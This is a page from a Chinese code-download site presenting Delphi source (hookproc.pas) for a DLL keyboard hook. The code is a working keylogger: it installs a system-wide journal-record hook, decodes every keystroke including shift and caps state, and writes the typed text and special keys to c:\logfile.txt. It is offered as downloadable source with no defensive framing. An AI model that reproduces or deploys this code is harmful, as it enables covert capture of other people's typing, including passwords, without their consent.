⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hookproc.pas

📁 [i]DELPHI打造DLL键盘钩子[/i]
💻 PAS
字号:
//程序实现部分
unit hookproc;
interface 
uses 
Windows, Messages, SysUtils, Controls, StdCtrls; 
var 
  g_hLogHook : HHook; 
  g_hLastFocus : HWND;
  g_PrvChar: char; 
function setkeyhook:bool;export;//加载钩子 
function endkeyhook:bool;export;//卸载钩子 
implementation 
{$R *.dfm} 
const 
  KeyPressMask=$80000000; 
function JournalLogProc(iCode: Integer;wParam:WPARAM;lParam:LPARAM): Integer;stdcall; 
var 
  evt: PEVENTMSG; 
  i : Integer; 
  vKey : Integer; 
  ch : char; 
  str: array[0..9] of char; 
  txt: TextFile; 
  iShift,iCapital,iNumLock : Integer; 
  bShift,bCapital,bNumLock : Boolean; 
begin 
  if iCode<0 then begin 
    Result := CallNextHookEx(g_hLogHook,iCode,wParam,lParam); 
    Exit; 
  end; 
  if iCode=HC_ACTION then begin 
    evt:=PEVENTMSG(lParam); 
    AssignFile(txt,'c:\logfile.txt'); 
    if not fileexists('c:\logfile.txt') then 
      ReWrite(txt) 
    else 
      Append(txt); 
     if evt^.message=WM_KEYDOWN then begin 
      vKey:=LoByte(evt^.paramL); 
      end; 
      iShift := GetKeyState($10); 
      iCapital := GetKeyState($14); 
      iNumLock := GetKeyState($90); 
      bShift := (iShift and KeyPressMask)=KeyPressMask; 
      bCapital := (iCapital and 1)=1; 
      bNumLock := (iNumLock and 1)=1; 
      if (vKey >=48) and (vkey<=57) then begin 
        if not bShift then 
          write(txt,chr(vKey)); 
      end; 
      if (vKey>=65) and (vKey<=90) then begin 
        if not bCapital then begin 
          if bShift then 
            ch:=chr(vKey) 
          else 
            ch:=chr(vKey+32); 
        end 
        else begin 
          if bShift then 
            ch:=chr(vKey+32) 
          else 
            ch:= chr(vKey); 
        end; 
        write(txt,ch); 
      end; 
      if (vKey>=96) and (vKey<=105) then begin 
        if bNumLock then 
          write(txt,chr(vkey-96+48)); 
      end; 
      if (vKey>=186) and (vKey<=222) then begin 
        case vKey of 
          186: 
         begin 
              if not bShift then 
                ch:=';' 
              else 
                ch:=':'; 
            end; 
          187: 
            begin 
              if not bShift then 
                ch:='=' 
              else 
                ch:='+'; 
            end; 
          188: 
            begin 
              if not bShift then 
                ch:=',' 
              else 
                ch:='<'; 
            end; 
          189: 
            begin 
              if not bShift then 
                ch:='-' 
              else 
                ch:='_'; 
            end; 
          190: 
            begin 
              if not bShift then 
                ch:='.' 
              else 
                ch:='>'; 
            end; 
          191: 
            begin 
              if not bShift then 
             ch:='/' 
              else 
                ch:='?'; 
            end; 
          192: 
            begin 
              if not bShift then 
                ch:='`' 
              else 
                ch:='~'; 
            end; 
          219: 
            begin 
              if not bShift then 
                ch:='[' 
              else 
                ch:='{'; 
            end; 
          220: 
            begin 
              if not bShift then 
                ch:='\' 
              else 
                ch:='|'; 
            end; 
          221: 
            begin 
              if not bShift then 
                ch:=']' 
              else 
                ch:='}'; 
            end; 
          222: 
            begin 
              if not bShift then 
                ch:='\' 
              else 
               ch:='/'; 
            end;           
        else 
          ch:='n'; 
        end; 
        if ch<>'n' then 
          write(txt,ch); 
      end; 
      if (wParam>=112) and (wParam<=123) then begin 
        //功能键F1-F12 
      end; 
      if(vKey>=8) and (vKey<=46) then begin 
        case vKey of 
          8: 
            begin 
              strcopy(str,'[BK]'); 
            end; 
          9: 
            begin 
              strcopy(str,'[TAB]'); 
            end; 
          13: 
            begin 
              strcopy(str,'[EN]'); 
            end; 
          32: 
            begin 
              strcopy(str,'[SP]'); 
            end; 
          33: 
            begin 
              strcopy(str,'[PU]'); 
            end; 
          34: 
            begin 
              strcopy(str,'[PD]'); 
            end; 
          35: 
            begin 
              strcopy(str,'[END]'); 
            end; 
          36: 
            begin 
              strcopy(str,'[HOME]'); 
            end; 
          37: 
            begin 
              strcopy(str,'[LF]'); 
            end; 
          38: 
            begin 
              strcopy(str,'[UF]'); 
            end; 
          39: 
            begin 
              strcopy(str,'[RF]'); 
            end; 
          40: 
            begin 
              strcopy(str,'[DF]'); 
            end; 
          45: 
            begin 
              strcopy(str,'[INS]'); 
            end; 
          46: 
            begin 
              strcopy(str,'[DEL]'); 
            end 
          else 
            ch:='n' ; 
        end; 
        if (ch<>'n') then begin 
          if (g_PrvChar <> chr(vKey)) then begin 
write(txt,str); 
            g_PrvChar:= chr(vKey); 
          end; 
        end; 
      end; 
    end; 
    CloseFile(txt); 
    result := CallNextHookEx(g_hLogHook,iCode,wParam,lParam); 
  end; 
function Setkeyhook:bool;export; 
begin 
  if g_hLogHook=0 then begin 
    g_hLogHook := SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,HInstance,0); 
  end; 
end; 
function endkeyhook:bool;export; 
begin
  if g_hLogHook<>0 then begin 
    UnhookWindowsHookEx(g_hLogHook); 
    g_hLogHook:= 0; 
  end; 
end; 
end. 



 

 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -